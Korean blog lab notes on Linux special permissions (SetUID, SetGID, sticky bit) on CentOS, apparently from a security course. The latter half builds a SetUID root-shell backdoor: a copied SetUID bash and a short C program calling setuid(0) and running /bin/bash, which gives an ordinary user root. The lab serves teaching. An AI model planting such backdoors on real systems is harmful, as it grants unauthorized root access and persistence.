본문 바로가기
보안과정/참고

특수 퍼미션

by Luuii 2017. 11. 27.

○ 사용시스템

> CentOS 5.11

 

○ 특수 퍼미션

 

FILE 

Directory 

 SetUID

O

 SetGID

O

O

 StickyBit

X

O

 

○ SetUID 의미

# ls -l /etc/passwd /etc/shadow

 

# chmod 755 /usr/bin/passwd

# ls -l /usr/bin/passwd

 

# telnet localhost

> user01

 

$ passwd

 

 

○ SetUID 의미에 대한 실습.

ⓐ user01 사용자로 /home/user01/touch 명령어 생성

[TERM 1] user01 사용자 터미널

 

$ chmod 775 /home/user01

$ cp /bin/touch /home/user01

$ ls -l

 

$ ./touch file1

$ ls -l

 

$ chmod 4755 touch

$ ls -l

 

 

ⓑ fedora 사용자로 /home/user01/touch 명령어 실행

$ su - fedora

 

$ cd /home/user01

$ touch file2

 

$ ./touch file2

$ ls -l

 

$ id

$ exit

 

$ chmod 2755 touch

$ ls -l touch

 

$ su - fedora

$ cd /home/user01

$ ./touch file3

$ ls -l

 

$ id

$ exit

 

[EX] bash쉘의 SetUID 권한 부여

ⓐ /bin/bash 명령어를 /test/bash로 복사

[TERM 1] root 사용자 터미널

# mkdir -p /test && cd /test && rm -rf /test/*

# ls -l /bin/bash

 

# cp /bin/bash /test

# cd /test

# ls -l bash


 

ⓑ 복사된 쉘(Ex: /test/bash) 실행

# bash (# /bin/bash)

# ps

 

 

 

 

# exit

 

# ./bash (# /test/bash)

# ps

 

ⓒ /test/bash 명령어에 SetUID 설정

# chmod 4755 bash

# ls -l bash

 

 

ⓓ fedora 사용자로 /test/bash 명령어 실행

[TERM 2] fedora 사용자의 터미널

# su - fedora

$ cd /test

$ ls -l bash

 

$ ./bash    ($ /test/bash)

$ id

 

$ exit

$ exit

 

ⓔ 백도어 파일 생성

# cd /test

# vi backdoor.c

1
2
3
4
5
6
7
8
9
10
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
 
main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
cs

 

# gcc -o bashshell backdoor.c

# ls -l bashshell

 

ⓕ fedora 사용자로 /test/bash 명령어 실행

[TERM 2] fedora 사용자 터미널

# telnet localhost

 

$ cd /test

$ ls -l bashshell

 

$ ./bashshell

$ ps

 

$ pstree 15200

$ id

 

$ exit

 

ⓖ /test/bashshell 명령어에 SetUID 설정

[TERM 1] root 사용자 터미널

# cd /test

# chmod 4755 bashshell

# ls -l bashshell

 

ⓗ fedora 사용자 터미널에서 /test/bashshell 명령어 실행

$ ./bashshell

# id

 


 

 

반응형

'보안과정 > 참고' 카테고리의 다른 글

nc(netcat)명령어 사용법  (0) 2017.11.28
xinetd 방식에 대하여  (0) 2017.11.28
dig/host/nslookup  (0) 2017.11.28
setreuid 명령어  (0) 2017.11.28
어셈블리 언어(Assembly)  (0) 2017.11.27